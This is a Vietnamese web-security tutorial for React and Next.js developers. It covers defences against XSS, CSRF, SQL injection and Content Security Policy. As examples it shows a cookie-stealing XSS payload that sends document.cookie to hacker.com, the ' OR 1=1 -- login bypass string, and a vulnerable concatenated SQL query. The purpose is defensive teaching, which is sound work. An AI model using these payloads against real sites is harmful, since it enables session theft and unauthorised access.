Chống Hack: XSS, CSRF và những cái bẫy sơ đẳng

Bạn xây xong một lâu đài (App) tráng lệ. Nhưng nếu bạn quên khóa cửa sổ (Security Hole), kẻ trộm sẽ vào khoắng sạch đồ đạc.

1. XSS (Cross-Site Scripting)

Kịch bản: Hacker nhập vào ô comment đoạn script: <script>fetch('http://hacker.com?cookie=' + document.cookie)</script> Khi Admin xem comment đó, script chạy và gửi cookie của Admin về cho Hacker -> Mất quyền Admin.

Phòng chống trong React

React mặc định đã escape toàn bộ biến trước khi render HTML.

const content = "<script>alert('hacked')</script>";
return <div>{content}</div>; 
// Kết quả hiển thị text literal: &lt;script&gt;... (An toàn)

Nguy hiểm: dangerouslySetInnerHTML Nếu bạn dùng nó, bạn đang mở cửa mời Hacker vào.

// ❌ Rất nguy hiểm nếu 'content' đến từ User Input
<div dangerouslySetInnerHTML={{ __html: content }} />

Nếu bắt buộc dùng (VD: Hiển thị bài viết Rich Text), hãy dùng thư viện DOMPurify để lọc script độc hại trước.

2. CSRF (Cross-Site Request Forgery)

Kịch bản:

1. Admin đăng nhập trang bank.com (đang có cookie).
2. Admin bị lừa bấm vào link evil.com.
3. evil.com có một form ẩn tự động submit request chuyển tiền đến bank.com.
4. Trình duyệt thấy request đến bank.com liền tự động gửi kèm cookie của Admin -> Chuyển tiền thành công!

Phòng chống

1. SameSite Cookie: Cấu hình cookie SameSite=Lax hoặc Strict. Trình duyệt sẽ từ chối gửi cookie nếu request đến từ domain lạ (evil.com).
2. CSRF Token: NextAuth xử lý việc này tự động. Mỗi form gửi đi kèm theo một token bí mật thay đổi liên tục. Hacker không biết token này -> Request bị từ chối.

3. SQL Injection (Thời đại ORM)

Xưa kia, Hacker nhập ' OR 1=1 -- vào ô Login để bypass mật khẩu. Ngày nay, nếu bạn dùng Prisma, Drizzle hay TypeORM, bạn an toàn 99%.

// ❌ Nguy hiểm (Raw SQL + String concatenation)
db.query("SELECT * FROM users WHERE name = '" + userName + "'");

// ✅ An toàn (Prisma ORM - Parameterized Query)
db.user.findFirst({ where: { name: userName } });

ORM tự động tách biệt câu lệnh SQL và dữ liệu, hacker nhập gì cũng chỉ được coi là chuỗi ký tự vô hại.

4. Content Security Policy (CSP)

Lớp bảo vệ cuối cùng. CSP là một HTTP Header khai báo cho trình duyệt biết: "Trang web này chỉ được phép tải script từ nguồn nào?".

Content-Security-Policy: default-src 'self'; script-src 'self' https://analytics.google.com;

Nếu Hacker chèn được script load từ hacker.com, trình duyệt sẽ chặn lại vì hacker.com không nằm trong whitelist.

Kết luận

Bảo mật không phải là tính năng để "làm sau". Nó là nền móng.

1. Dùng NextAuth (lo giúp Session, CSRF).
2. Dùng ORM (lo giúp SQL Injection).
3. Dùng React chuẩn (lo giúp XSS).
4. Cẩn thận với dangerouslySetInnerHTML và eval().